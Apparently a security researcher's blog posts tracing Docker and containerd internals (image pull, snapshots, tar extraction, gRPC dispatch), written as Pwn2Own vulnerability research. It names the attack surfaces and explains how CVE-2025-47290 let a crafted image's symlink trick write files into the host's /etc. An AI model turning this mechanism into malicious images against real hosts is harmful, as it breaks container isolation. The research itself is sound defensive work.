            "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
            "size": 29732978,
            "digest": "sha256:b40150c1c2717d324cdb17278c8efdfa4dfcd2ffe083e976f0bcedf31115f081"
        }
    ]
}

unpack() first unmarshals the config descriptor into i [8] and later calls u.fetch() [9] to download the layer data. After it’s downloaded, a.Apply() is called to unpack the compressed layer [10].

// vendor/github.com/containerd/containerd/v2/core/unpack/unpacker.go
func (u *Unpacker) unpack(
    h images.Handler,
    config ocispec.Descriptor,
    layers []ocispec.Descriptor,
) error {
    // [...]
    p, err := content.ReadBlob(ctx, u.content, config)
    // [...]
    var i unpackConfig
    if err := json.Unmarshal(p, &i); err != nil { // [8]
        // [...]
    }
    // [...]
    topHalf := func(i int, desc ocispec.Descriptor, span *tracing.Span, startAt time.Time) (<-chan *unpackStatus, error) {
        key = fmt.Sprintf(snapshots.UnpackKeyFormat, uniquePart(), chainID)
        mounts, err = sn.Prepare(ctx, key, parent, opts...) // call s.createSnapshot() -> mounts := s.buildMounts()
        // [...]
        go func(i int) {
            err := u.fetch(ctx, h, layers[i:], fetchC) // [9]
        }(i)
        // [...]
        diff, err := a.Apply(ctx, desc, mounts, unpack.ApplyOpts...) // [10]
        // [...]
    }
    // [...]
    for i, desc := range layers {
        // [...]
        statusCh, err := topHalf(i, desc, layerSpan, unpackLayerStart)
        // [...]
    }
    // [...]
}

The config is represented as the unpackConfig structure.

// vendor/github.com/containerd/containerd/v2/core/unpack/unpacker.go
type unpackConfig struct {
    ocispec.Platform
    RootFS ocispec.RootFS `json:"rootfs"`
}

The config JSON blob looks like:

{
  "architecture": "amd64",
  "config": {
    "Hostname": "",
    "Domainname": "",
    "User": "",
    "AttachStdin": false,
    "AttachStdout": false,
    "AttachStderr": false,
    "Tty": false,
    "OpenStdin": false,
    "StdinOnce": false,
    "Env": [
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
    ],
    "Cmd": [
      "/bin/bash"
    ],
    "Image": "sha256:337382923f7584f260a9a67e7625aaf9d42c24784c6e92731c29fa3912ae5c47",
    "Volumes": null,
    "WorkingDir": "",
    "Entrypoint": null,
    "OnBuild": null,
    "Labels": {
      "org.opencontainers.image.version": "24.04"
    }
  },
  "container": "824f27add47a9b8b83f4296fcbd9772627dd3ab13c39c889306a30cd4e2e1fc1",
  "container_config": {
    "Hostname": "824f27add47a",
    "Domainname": "",
    "User": "",
    "AttachStdin": false,
    "AttachStdout": false,
    "AttachStderr": false,
    "Tty": false,
    "OpenStdin": false,
    "StdinOnce": false,
    "Env": [
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
    ],
    "Cmd": [
      "/bin/sh",
      "-c",
      "#(nop) ",
      "CMD [\"/bin/bash\"]"
    ],
    "Image": "sha256:337382923f7584f260a9a67e7625aaf9d42c24784c6e92731c29fa3912ae5c47",
    "Volumes": null,
    "WorkingDir": "",
    "Entrypoint": null,
    "OnBuild": null,
    "Labels": {
      "org.opencontainers.image.version": "24.04"
    }
  },
  "created": "2026-04-10T06:49:18.133477895Z",
  "docker_version": "26.1.3",
  "history": [
    {
      "created": "2026-04-10T06:49:15.45210454Z",
      "created_by": "/bin/sh -c #(nop)  ARG RELEASE",
      "empty_layer": true
    },
    {
      "created": "2026-04-10T06:49:15.493474875Z",
      "created_by": "/bin/sh -c #(nop)  ARG LAUNCHPAD_BUILD_ARCH",
      "empty_layer": true
    },
    {
      "created": "2026-04-10T06:49:15.521658623Z",
      "created_by": "/bin/sh -c #(nop)  LABEL org.opencontainers.image.version=24.04",
      "empty_layer": true
    },
    {
      "created": "2026-04-10T06:49:17.706887224Z",
      "created_by": "/bin/sh -c #(nop) ADD file:8ce1caf246e7c778bca84c516d02fd4e83766bb2c530a0fffa8a351b560a2728 in / "
    },
    {
      "created": "2026-04-10T06:49:18.133477895Z",
      "created_by": "/bin/sh -c #(nop)  CMD [\"/bin/bash\"]",
      "empty_layer": true
    }
  ],
  "os": "linux",
  "rootfs": {
    "type": "layers",
    "diff_ids": [
      "sha256:538812a4b9bd45adaac2b5e5b967daa6999aa44eb110aa32ae7c69702b906475"
    ]
  }
}

fetch() calls h.Handle(ctx2, desc) with the layer’s descriptor [11], which calls chained handler, including the download handler — .FetchHandler().

// vendor/github.com/containerd/containerd/v2/core/unpack/unpacker.go
func (u *Unpacker) fetch(ctx context.Context, h images.Handler, layers []ocispec.Descriptor, done []chan struct{}) error {
    eg.Go(func() error {
        for i, desc := range layers {
            // [...]
            _, err = h.Handle(ctx2, desc) // [11]
            // [...]
        }
    })
}

Apply() sends an apply request to containerd [12] with the layer descriptor.

// vendor/github.com/containerd/containerd/v2/core/diff/proxy/differ.go
func (r *diffRemote) Apply(ctx context.Context, desc ocispec.Descriptor, mounts []mount.Mount, opts ...diff.ApplyOpt) (ocispec.Descriptor, error) {
    // [...]
    req := &diffapi.ApplyRequest{
        Diff:     oci.DescriptorToProto(desc),
        Mounts:   mount.ToProto(mounts),
        Payloads: payloads,
        SyncFs:   config.SyncFs,
    }
    // [...]
    resp, err := r.client.Apply(ctx, req) // <--------
    // [...]
}

// vendor/github.com/containerd/containerd/api/services/diff/v1/diff_grpc.pb.go
func (c *diffClient) Apply(ctx context.Context, in *ApplyRequest, opts ...grpc.CallOption) (*ApplyResponse, error) {
    out := new(ApplyResponse)
    err := c.cc.Invoke(ctx, "/containerd.services.diff.v1.Diff/Apply", in, out, opts...) // [12]
    // [...]
}

By now we know that the unpack operations are performed by containerd, not dockerd.

2.2. Create A Snapshot

Before delving into the unpacking implementation of containerd, let’s take a look at the snapshot mechanism.

A snapshot is a saved state of a filesystem layer, and it also defines how to mount these layers.

In unpack(), sn.Prepare() is called to create a snapshot [1].

// vendor/github.com/containerd/containerd/v2/core/unpack/unpacker.go
func (u *Unpacker) unpack(
    h images.Handler,
    config ocispec.Descriptor,
    layers []ocispec.Descriptor,
) error {
    // [...]
    topHalf := func(i int, desc ocispec.Descriptor, span *tracing.Span, startAt time.Time) (<-chan *unpackStatus, error) {
        // [...]
        var (
            key    string
            mounts []mount.Mount
            opts   = append(unpack.SnapshotOpts, snapshots.WithLabels(snapshotLabels))
        )
        // [...]
        key = fmt.Sprintf(snapshots.UnpackKeyFormat, uniquePart(), chainID)
        mounts, err = sn.Prepare(ctx, key, parent, opts...) // [1]
        // [...]
    }
}

Snapshot preparation ends up sending a PrepareSnapshotRequest [2] request to containerd.

// vendor/github.com/containerd/containerd/v2/core/snapshots/proxy/proxy.go
func (p *proxySnapshotter) Prepare(ctx context.Context, key, parent string, opts ...snapshots.Opt) ([]mount.Mount, error) {
    // [...]
    resp, err := p.client.Prepare(ctx, &snapshotsapi.PrepareSnapshotRequest{ // [2]
        Snapshotter: p.snapshotterName, // by default "overlayfs"
        Key:         key,
        Parent:      parent,
        Labels:      local.Labels,
    })
    // [...]
    return mount.FromProto(resp.Mounts), nil
}

containerd’s handler internally creates snapshot-related files and directories [3], and then calls o.mounts(s, info) to generate overlayfs mounting options [4].

// plugins/services/snapshots/service.go
// from _Snapshots_Prepare_Handler()
func (s *service) Prepare(ctx context.Context, pr *snapshotsapi.PrepareSnapshotRequest) (*snapshotsapi.PrepareSnapshotResponse, error) {
    // [...]
    sn, err := s.getSnapshotter(pr.Snapshotter) // "overlayfs"
    // [...]
    mounts, err := sn.Prepare(ctx, pr.Key, pr.Parent, opts...) // <--------
    // [...]
    return &snapshotsapi.PrepareSnapshotResponse{
        Mounts: mount.ToProto(mounts),
    }, nil
}

// core/metadata/snapshot.go
func (s *snapshotter) Prepare(ctx context.Context, key, parent string, opts ...snapshots.Opt) ([]mount.Mount, error) {
    mounts, err := s.createSnapshot(ctx, key, parent, false, opts) // <--------
    // [...]
    return mounts, nil
}

func (s *snapshotter) createSnapshot(ctx context.Context, key, parent string, readonly bool, opts []snapshots.Opt) ([]mount.Mount, error) {
    // [...]
    m, err = s.Snapshotter.Prepare(ctx, bkey, bparent, bopts...) // <--------
    // [...]
}

// plugins/snapshots/overlay/overlay.go
func (o *snapshotter) Prepare(ctx context.Context, key, parent string, opts ...snapshots.Opt) ([]mount.Mount, error) {
    return o.createSnapshot(ctx, snapshots.KindActive, key, parent, opts) // <--------
}

// plugins/snapshots/overlay/overlay.go
func (o *snapshotter) createSnapshot(ctx context.Context, kind snapshots.Kind, key, parent string, opts []snapshots.Opt) (_ []mount.Mount, err error) {
    // [...]
    _, info, _, err = storage.GetInfo(ctx, key)
    // [...]
    snapshotDir := filepath.Join(o.root, "snapshots")
    td, err = o.prepareDirectory(ctx, snapshotDir, kind)
    // [...]
    path = filepath.Join(snapshotDir, s.ID)
    if err = os.Rename(td, path); err != nil { // [3]
        // [...]
    }
    // [...]
    return o.mounts(s, info), nil
}

func (o *snapshotter) mounts(s storage.Snapshot, info snapshots.Info) []mount.Mount {
    // [...]
    return []mount.Mount{ // [4]
        {
            Type:    "overlay", // or "bind" ...
            Source:  "overlay",
            Options: options,
        },
    }
}

So, before unpacking the layer, sn.Prepare() creates the snapshot directories that will hold the extracted layers.

2.3. containerd Apply Handling

The apply request is sent from dockerd to containerd.

On the containerd side, Apply() is called to handle the request, and it internally iterates through registered processors [1] and wraps them to a chained processor. Later, apply() is called with the wrapped IO stream [2], which triggers the processor callback in the end.

// plugins/services/diff/local.go
func (l *local) Apply(ctx context.Context, er *diffapi.ApplyRequest, _ ...grpc.CallOption) (*diffapi.ApplyResponse, error) {
    for _, differ := range l.differs {
        // [...]
        ocidesc, err = differ.Apply(ctx, desc, mounts, opts...) // <--------
        // [...]
    }
}

// core/diff/apply/apply.go
func (s *fsApplier) Apply(ctx context.Context, desc ocispec.Descriptor, mounts []mount.Mount, opts ...diff.ApplyOpt) (d ocispec.Descriptor, err error) {
    // [...]
    var processors []diff.StreamProcessor
    for {
        if processor, err = diff.GetProcessor(ctx, processor, config.ProcessorPayloads); err != nil { // [1]
            // [...]
        }
        processors = append(processors, processor)
        if processor.MediaType() == ocispec.MediaTypeImageLayer {
            break
        }
    }
    // [...]
    rc := &readCounter{
        r: io.TeeReader(processor, digester.Hash()),
    }

    if err := apply(ctx, mounts, rc, config.SyncFs); err != nil { // [2]
        // [...]
    }
    // [...]
}

How does GetProcessor() decide which decoder to use? It calls all registered handlers until one returns success [3]. By default, there is at least one processor: compressedHandler [4].

// core/diff/stream.go
func GetProcessor(ctx context.Context, stream StreamProcessor, payloads map[string]typeurl.Any) (StreamProcessor, error) {
    // [...]
    for i := len(handlers) - 1; i >= 0; i-- {
        processor, ok := handlers[i](ctx, stream.MediaType()) // [3]
        if ok {
            return processor(ctx, stream, payloads)
        }
    }
    return nil, ErrNoProcessor
}

func init() {
    RegisterProcessor(compressedHandler) // [4]
}

func RegisterProcessor(handler Handler) {
    handlers = append(handlers, handler)
}

compressedHandler() calls DiffCompression() to verify the compression type [5] and returns a nested function, which finds the matching streaming decoder [6] and returns it.

// core/diff/stream.go
func compressedHandler(ctx context.Context, mediaType string) (StreamProcessorInit, bool) {
    compressed, err := images.DiffCompression(ctx, mediaType) // [5]
    // [...]
    if compressed != "" {
        return func(ctx context.Context, stream StreamProcessor, payloads map[string]typeurl.Any) (StreamProcessor, error) {
            ds, err := compression.DecompressStream(stream) // [6]
            // [...]
            return &compressedProcessor{
                rc: ds,
            }, nil
        }, true
    }
    // [...]
}

Going back to Apply(), the processor is wrapped as an IO stream and then passed to platform-specified apply().

In Linux implementation, apply() in apply_linux.go decides which directory is used to save the extracted files. For overlayfs, the upper directory is used [7, 8], which is the actual path "snapshots//fs" [9].

// core/diff/apply/apply_linux.go
func apply(ctx context.Context, mounts []mount.Mount, r io.Reader, sync bool) (retErr error) {
    switch {
    case len(mounts) == 1 && mounts[0].Type == "overlay":
        // [...]
        path, parents, err := getOverlayPath(mounts[0].Options) // [7]
        // [...]
        _, err = archive.Apply(ctx, path, r, opts...) // <--------
        // [...]
        return err
    // [...]
    }
}

func getOverlayPath(options []string) (upper string /* [8] */, lower []string, err error) {
    // [...]
}

// plugins/snapshots/overlay/overlay.go
func (o *snapshotter) upperPath(id string) string {
    return filepath.Join(o.root, "snapshots", id, "fs") // [9]
}

Eventually, applyNaive() [9] is called to untar a diff.

// pkg/archive/tar.go
func Apply(ctx context.Context, root string, r io.Reader, opts ...ApplyOpt) (int64, error) {
    root = filepath.Clean(root)
    // [...]
    options.applyFunc = applyNaive
    // [...]
    return options.applyFunc(ctx, root, r, options) // [9]
}

Here, I want to explain more about two terms: “diff” and “layer”, since they are basically the same thing but in different states.

The raw tar data we download from the remote registry is the layer, kept in the content store. To unpack it, the layer (a compressed tar+gzip file) is decompressed into a diff — a stream of the uncompressed tar. That diff stream is then read and untarred, and the extracted files are saved into an isolated directory (named by snapshot ID) kept in the snapshot plugin.

2.4. untar

applyNaive() is the key function because it covers almost all of the tar extraction logic. It reads an entry from the tar file [1] and gets the file path [2]. It then calls createTarFile() to parse the entry [3].

// pkg/archive/tar.go
func applyNaive(ctx context.Context, root string, r io.Reader, options ApplyOptions) (size int64, err error) {
    // [...]
    root = filepath.Clean(root)
    // [...]
    for {
        // [...]
        hdr, err := tr.Next() // [1]
        // [...]
        ppath, base := filepath.Split(hdr.Name)
        ppath, err = fs.RootPath(root, ppath)
        path := filepath.Join(ppath, filepath.Join("/", base)) // [2]
        // [...]
        srcData := io.Reader(tr)
        srcHdr := hdr
        if err := createTarFile(ctx, path, root, srcHdr, srcData, options.NoSameOwner); err != nil { // [3]
            // [...]
        }
        // [...]
    }
}

createTarFile() is a custom tar handler. It parses the tar entry header to determine the file type, and then performs the corresponding file operation to extract the file. For example, if the entry is a directory [4], the mkdir is called to create the target directory [5].

// pkg/archive/tar.go
func createTarFile(ctx context.Context, path, extractDir string, hdr *tar.Header, reader io.Reader, noSameOwner bool) error {
    switch hdr.Typeflag {
    case tar.TypeDir: // [4]
        // [...]
        if fi, err := os.Lstat(path); err != nil || !fi.IsDir() {
            if err := mkdir(path, hdrInfo.Mode()); err != nil { // [5]
                return err
            }
        }
    // [...]
    }
}

3. Attack Surfaces

From the pull flow, the following two operations directly access attack-controllable data:

Manifest/Index JSON parsing (fetch())
Tar extraction (applyNaive() / createTarFile())

The threat model here is that the attacker compromises the registry server, or the attacker publishes a crafted image manifest or image tar file, which is then downloaded by the victim.

3.1. Parse JSON

Basically, the descriptor is fetched from the remote, so most of desc.XXXX is controllable by the attacker. However, I didn’t find anything useful or vulnerable. Its use is very limited 😢.

3.2. Tar Extraction

When it comes to tar extraction, the tar slip attack is the first technique that comes to my mind, but Docker does a pretty good job of mitigating this kind of problem.

hdr.Name is the path name extracted from the tar entry. It is first split into two parts: directory and filename. For example, "../../../a" becomes "../../../" and "a". Later, the directory part is passed to .RootPath() to resolve the full path.

// pkg/archive/tar.go
func applyNaive(ctx context.Context, root string, r io.Reader, options ApplyOptions) (size int64, err error) {
    // [...]
    ppath, base := filepath.Split(hdr.Name)
    ppath, err = fs.RootPath(root, ppath)
    path := filepath.Join(ppath, filepath.Join("/", base))
    // [...]
}

So fs.RootPath() has to make sure the resolved ppath is inside the root directory — and how does it do that?

We won’t trace the real code here because it’s unnecessary. Just two points to know for safe path resolution:

Clamp every ".." at the root: it calls filepath.Join("/", path) so "/.." is restricted inside the root.
Manually resolve the softlink: it calls lstat to get the target path and re-bounds it to the root.

4. Past Vulnerability

When I was looking for past vulnerabilities, there weren’t that many, but CVE-2025-47290 caught my eye — a vulnerability that makes containerd overwrite host filesystem files when pulling an image.

This vulnerability was found by researcher Tõnis Tiigi, and the advisory is here.

In the older version containerd, the cachedRootPath structure is used as a cache for path resolution.

type cachedRootPath struct {
    root  string
    cache map[string]string
}

func newCachedRootPath(root string) *cachedRootPath {
    return &cachedRootPath{
        root:  root,
        cache: make(map[string]string),
    }
}

func (c *cachedRootPath) get(path string) (string, error) {
    if hit, ok := c.cache[path]; ok {
        return hit, nil
    }
    p, err := fs.RootPath(c.root, path)
    if err != nil {
        return "", err
    }
    c.cache[path] = p
    return p, nil
}

For example, if multiple tar entries are in the same directory, only the first call to rootPath.get() enters the real file resolution fs.RootPath(), and the following entries can just read the path from the cache. Since fs.RootPath(c.root, path) ensures the resolved path is inside the root, it looks like there’s no problem.

ppath, base := filepath.Split(hdr.Name)
ppath, err = rootPath.get(ppath)

However, the tar supports entries with the same name, and how this case is handled depends on the client side. Here, containerd handles them according to the following two rules:

dir-over-dir: merge. Existing is a directory and new header is also TypeDir -> keep the directory, just re-apply metadata.
everything else: remove + replace. Any other combination (file-over-file, file-over-dir, dir-over-file, symlink, etc.) -> os.RemoveAll(path) wipes the old entry first.

Suppose we first create a new file in /a/b, making the /a cache loaded.

"/a" -> "/host/root/a"

Later, we do a dir-over-symlink, replacing /a directory with a symlink pointing to /etc. Then we create another new file /a/c. The actual path should be resolved to /host/root/etc by fs.RootPath().

"/a" -> "/host/root/a"                     # cached
"/a" -> "/host/root/a" --symlink--> "/etc" # actual

However, because of the cache mechanism, the /a still points to /host/root/a, which is a symlink to the host’s /etc, and the file finally ends up in /etc/c.

"/a/c" -> "/host/root/a/c" # expected
       -> "/etc/c"         # actual

It sounds like a pretty critical vulnerability — why don’t more people know about it?

Because it was introduced on Mar 8, 2025 (file diff) and later reverted on May 21, 2025 (revert commit), which means this bug was only alive for about two weeks, within a single sub-version (2.1.0 -> 2.1.1).

5. Summary

In this post, we’ve covered the pull flow and discussed the attack surfaces. In the next post, we’ll analyze how Docker uses runc to load a container, and take the NVIDIA toolkit as an example to understand how vendors bridge or customize their implementation within the Docker system.

Docker Internal (1)

2026-05-27T00:00:00+00:00

For this year’s (2026) Pwn2Own Berlin, I tried to find vulnerabilities in Docker but came up with nothing. This post simply documents my research on Docker’s system implementation, since it is quite interesting.

The attack scenario involves downloading an unknown image or running a malicious image, so I only focus on its architecture and then delve into the code that accesses user-controllable data.

This series is expected to be divided into three parts, covering basic Docker’s architecture, attack surfaces, past vulnerabilities, and the NVIDIA toolkit as a bonus! I hope you enjoy these posts and learn something new 🙂.

1. Introduction

First, there are a few Docker products that may confuse readers. The most common one is Docker Engine, and another is Docker Desktop, which is relatively niche but more user-friendly since it provides a GUI and runs containers inside a lightweight VM (for example, QEMU-KVM). Here, we are discussing Docker Engine, not the Docker Desktop.

If you follow the installation steps for Docker Engine on Ubuntu, you’ll notice that containerd is installed as well!

sudo apt install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
                                         ^^^^^^^^^^^^^

In fact, the Docker Engine consists of several components: the CLI tool (docker-cli), the frontend (dockerd), the backend (containerd), the container’s shim daemon (containerd-shim-runc-v2) and loader (runc). The interaction between each components looks like this:

When executing a command like docker run -it ubuntu /bin/bash, docker-cli first connects to the Unix socket docker.sock and sends the request. Then, dockerd wraps the request in gRPC format and forwards it to containerd via the Unix socket containerd.sock. containerd is responsible for loading the image, invoking runc to create a container, and managing the container lifecycle. Finally, the container is spawned in an isolated execution environment based on Linux namespace, capabilities and cgroups.

As the backend of Docker Engine, or precisely the container runtime, containerd can also be used by other engines or orchestrators, such as Kubernetes.

By the way, according to the Pwn2Own rules, Docker Engine and containerd are listed as two separate targets, but since Docker Engine appears to depend on containerd as its backend and cannot run on its own, I’m not sure what the attack scenarios for each would be.

Anyway, let’s first take a look at how the dockerd handles HTTP requests and sends gRPC requests to containerd!

2. dockerd

The source code for both docker-cli and dockerd can be found in the moby/moby GitHub repo.

2.1. Register API Endpoints

The entry point of the Docker daemon (dockerd) is start() in daemon/command/daemon.go. start() creates an HTTP server [1] that supports both the gRPC protocol [2] and the HTTP protocol [3], since other CLI tools may communicate via gRPC.

// daemon/command/daemon.go
func (cli *daemonCLI) start(ctx context.Context) (retErr error) {
    // [...]
    httpServer := &http.Server{
        // [...]
    }
    // [...]
    var p http.Protocols
    p.SetHTTP1(true)
    p.SetHTTP2(true)
    p.SetUnencryptedHTTP2(true)

    routers := buildRouters(routerOptions{
        features: d.Features,
        daemon:   d,
        cluster:  c,
        builder:  b,
    })
    gs := newGRPCServer(ctx)
    b.backend.RegisterGRPC(gs) // [2]
    httpServer.Protocols = &p // [3]
    httpServer.Handler = newHTTPHandler(ctx, gs, apiServer.CreateMux(ctx, routers...)) // [1]
    // [...]
    httpServer.Serve(ls)
    // [...]
}

// daemon/command/httphandler.go
func newHTTPHandler(ctx context.Context, gs *grpc.Server, apiServer http.Handler) http.Handler {
    return &httpHandler{
        ctx:        ctx,
        grpcServer: gs,
        apiServer:  apiServer,
    }
}

httpServer is an http.Server object from Go’s net/http package, and the ServeHTTP() method of its .Handler field is called whenever a request arrives. It handles requests in two different ways: if the Content-Type in the HTTP request header is gRPC, the request is dispatched to gRPC server [4]; otherwise, the HTTP server treats it as a REST HTTP request and handle it accordingly [5].

// daemon/command/httphandler.go
func (h *httpHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    if r.ProtoMajor == 2 && strings.HasPrefix(r.Header.Get("Content-Type"), "application/grpc") {
        h.grpcServer.ServeHTTP(w, r) // [4]
    } else {
        h.apiServer.ServeHTTP(w, r) // [5]
    }
}

buildRouters() calls the .NewRouter() function of several packages to set up routing. Take the container package [6] as an example: its initRoutes() [7] function is called internally and defines the endpoints along with their handlers.

// daemon/command/daemon.go
import (
    // [...]
    "github.com/moby/moby/v2/daemon/server/router/container"
    // [...]
)

func buildRouters(opts routerOptions) []router.Router {
    routers := []router.Router{
        // [...]
        container.NewRouter(opts.daemon), // [6]
        // [...]
    }
}

// daemon/server/router/container/container.go
func NewRouter(b Backend) router.Router {
    r := &containerRouter{
        backend: b,
    }
    r.initRoutes() // [7]
    return r
}

func (c *containerRouter) initRoutes() {
    c.routes = []router.Route{
        // [...]
        router.NewPostRoute("/containers/{name:.*}/pause", c.postContainersPause),
        // [...]
    }
}

2.2. Send Request to containerd

Some endpoints simply return status or metadata, but others handle more complex tasks and need to forward requests to containerd. Here, we’ll use pausing a container as an example (since it’s more straightforward).

Pausing a container is handled by postContainersPause() [1], which internally calls t.Task.Pause() [2].

// daemon/server/router/container/container.go
func (c *containerRouter) initRoutes() {
    c.routes = []router.Route{
        // [...]
        router.NewPostRoute("/containers/{name:.*}/pause", c.postContainersPause), // [1]
        // [...]
    }
}

// daemon/server/router/container/container_routes.go
func (c *containerRouter) postContainersPause(ctx context.Context, w http.ResponseWriter, r *http.Request, vars map[string]string) error {
    // [...]
    if err := c.backend.ContainerPause(vars["name"]); err != nil { // <--------
        return err
    }

    w.WriteHeader(http.StatusNoContent) // response to docker-cli
    return nil
}

// daemon/pause.go
func (daemon *Daemon) ContainerPause(name string) error {
    ctr, err := daemon.GetContainer(name)
    // [...]
    return daemon.containerPause(ctr) // <--------
}

func (daemon *Daemon) containerPause(container *container.Container) error {
    tsk, err := container.GetRunningTask()
    // [...]
    tsk.Pause(context.Background()) // <--------
    // [...]
}

func (t *task) Pause(ctx context.Context) error {
    return t.Task.Pause(ctx) // [2]
}

You may not find the definition of .Pause() because it invokes the Task interface [3] provided by containerd.

// daemon/internal/libcontainerd/remote/client.go
import (
    // [...]
    containerd "github.com/containerd/containerd/v2/client"
    // [...]
)

type task struct {
    containerd.Task // [3]
    ctr *container
}

By grepping through the source code of containerd, we can see that the Task’s pause handler is defined in client/task.go. Pause() wraps the container ID into a PauseTaskRequest [4], which is a Protobuf-formatted structure.

// client/task.go
func (t *task) Pause(ctx context.Context) error {
    // [...]
    _, err := t.client.TaskService().Pause(ctx, &tasks.PauseTaskRequest{  // [4]
        ContainerID: t.id,
    })
    // [...]
}

// api/services/tasks/v1/tasks.pb.go
type PauseTaskRequest struct {
    state         protoimpl.MessageState
    sizeCache     protoimpl.SizeCache
    unknownFields protoimpl.UnknownFields

    ContainerID string `protobuf:"bytes,1,opt,name=container_id,json=containerId,proto3" json:"container_id,omitempty"`
}

Noted that there are many versions of tasks, and it can be confusing to tell which one is being used. You can identify the correct one by checking the package name [5].

// client/client.go
import (
    // [...]
    "github.com/containerd/containerd/api/services/tasks/v1" // [5]
    // [...]
)

func (c *Client) TaskService() tasks.TasksClient {
    // [...]
    return tasks.NewTasksClient(c.conn) // v1
}

Following the function call, the client connection eventually calls SendMsg() [6] with the gRPC data as a parameter, sending the Protobuf payload to containerd via containerd.sock.

// api/services/tasks/v1/tasks_grpc.pb.go
func (c *tasksClient) Pause(ctx context.Context, in *PauseTaskRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) {
    out := new(emptypb.Empty)
    err := c.cc.Invoke(ctx, "/containerd.services.tasks.v1.Tasks/Pause", in, out, opts...)
    // [...]
}

// vendor/google.golang.org/grpc/call.go
func (cc *ClientConn) Invoke(ctx context.Context, method string, args, reply any, opts ...CallOption) error {
    opts = combine(cc.dopts.callOptions, opts)
    return invoke(ctx, method, args, reply, cc, opts...) // <--------
}

func Invoke(ctx context.Context, method string, args, reply any, cc *ClientConn, opts ...CallOption) error {
    return cc.Invoke(ctx, method, args, reply, opts...) // <--------
}

var unaryStreamDesc = &StreamDesc{ServerStreams: false, ClientStreams: false}
func invoke(ctx context.Context, method string, req, reply any, cc *ClientConn, opts ...CallOption) error {
    cs, err := newClientStream(ctx, unaryStreamDesc, cc, method, opts...)
    if err := cs.SendMsg(req); err != nil { // [6]
        return err
    }
    return cs.RecvMsg(reply)
}

3. containerd

The containerd GitHub repo provides a clear diagram of its architecture:

For example, according to the diagram, container pausing is related to the container runtime, which is managed by Task. In the previous section, we traced the call flow and confirmed that container pausing is actually handled by containerd.Task in dockerd.

Next, we’ll trace the code flow to understand how containerd receives and handles requests from dockerd.

3.1. Receive Requests from dockerd

When the containerd daemon runs, the builtins and command package are imported [1, 2], and App() sets up two services: TTRPC (Tiny RPC) [3] and GRPC [4]. Whether the debug service is set up depends on the configuration [5].

// cmd/containerd/main.go
import (
    // [...]
    "github.com/containerd/containerd/v2/cmd/containerd/command" // [1]
    _ "github.com/containerd/containerd/v2/cmd/containerd/builtins" // [2]
    // [...]
)

func main() {
    app := command.App() // <--------
    if err := app.Run(os.Args); err != nil {
        // [...]
    }
}

// cmd/containerd/command/main.go
func App() *cli.App {
    // [...]
    if config.Debug.Address != "" { // [5]
        var l net.Listener
        if isLocalAddress(config.Debug.Address) {
            if l, err = sys.GetLocalListener(config.Debug.Address, config.Debug.UID, config.Debug.GID); err != nil {
                // [...]
            }
        } else {
            if l, err = net.Listen("tcp", config.Debug.Address); err != nil {
                // [...]
            }
        }
        serve(ctx, l, server.ServeDebug)
    }
    // [...]

    tl, err := sys.GetLocalListener(config.TTRPC.Address, config.TTRPC.UID, config.TTRPC.GID)
    serve(ctx, tl, server.ServeTTRPC) // [3]
    
    // [...]
    
    l, err := sys.GetLocalListener(config.GRPC.Address, config.GRPC.UID, config.GRPC.GID)
    serve(ctx, l, server.ServeGRPC) // [4]
    
    // [...]
}

The builtins package is a wrapper for built-in packages, and one of the built-in packages it imports is tasks [6]. The init() function of the tasks package is invoked when the package is imported, and it calls Register() [7] to register itself with the registry.

// cmd/containerd/builtins/builtins.go
import (
    // [...]
    _ "github.com/containerd/containerd/v2/plugins/services/tasks" // [6]
    // [...]
)

// plugins/services/tasks/service.go
func init() {
    registry.Register(&plugin.Registration{ // [7]
        Type: plugins.GRPCPlugin,
        ID:   "tasks",
        Requires: []plugin.Type{
            plugins.ServicePlugin,
        },
        InitFn: func(ic *plugin.InitContext) (any, error) {
            i, err := ic.GetByID(plugins.ServicePlugin, services.TasksService)
            if err != nil {
                return nil, err
            }
            return &service{local: i.(api.TasksClient)}, nil
        },
    })
}

Later, when the server prepares to run, the Register() method of every registered service is called to set up gRPC endpoints based on predefined descriptors [8], and their handlers are finally attached [9].

// plugins/services/tasks/service.go
func (s *service) Register(server *grpc.Server) error {
    api.RegisterTasksServer(server, s) // <--------
    return nil
}

// api/services/tasks/v1/tasks_grpc.pb.go
func RegisterTasksServer(s grpc.ServiceRegistrar, srv TasksServer) {
    s.RegisterService(&Tasks_ServiceDesc, srv) // <--------
}

var Tasks_ServiceDesc = grpc.ServiceDesc{ // [8]
    ServiceName: "containerd.services.tasks.v1.Tasks",
    HandlerType: (*TasksServer)(nil),
    Methods: []grpc.MethodDesc{
        // [...]
        {
            MethodName: "Pause",
            Handler:    _Tasks_Pause_Handler, // [9]
        },
        // [...]
    }
}

So if we send a request to the "/containerd.services.tasks.v1.Tasks/Pause" gRPC endpoint, _Tasks_Pause_Handler() will be invoked.

func _Tasks_Pause_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
    in := new(PauseTaskRequest)
    info := &grpc.UnaryServerInfo{
        Server:     srv,
        FullMethod: "/containerd.services.tasks.v1.Tasks/Pause",
    }
    handler := func(ctx context.Context, req interface{}) (interface{}, error) {
        return srv.(TasksServer).Pause(ctx, req.(*PauseTaskRequest))
    }
    return interceptor(ctx, in, info, handler)
}

3.2. Dispatch Request to shim Daemon

To trace the actual handler behind srv.(TasksServer).Pause(), we need to go back and find where TasksServer comes from. srv is the second parameter passed to RegisterTasksServer(), and s is a service object defined in plugins/services/tasks/service.go [1].

// api/services/tasks/v1/tasks_grpc.pb.go
func RegisterTasksServer(s grpc.ServiceRegistrar, srv TasksServer) {
    s.RegisterService(&Tasks_ServiceDesc, srv) // <--------
}

// plugins/services/tasks/service.go
func (s *service) Register(server *grpc.Server) error {
    api.RegisterTasksServer(server, s) // [1]
    return nil
}

The service’s pause handler then calls s.local.Pause() [2], where local is assigned from the retrieved initial context i object during initialization [3]. The i is retrieved by an ID equal to services.TasksService [4], which corresponds to the local task object defined in plugins/services/tasks/local.go [5].

// plugins/services/tasks/service.go
func (s *service) Pause(ctx context.Context, r *api.PauseTaskRequest) (*ptypes.Empty, error) {
    return s.local.Pause(ctx, r) // [2]
}

func init() {
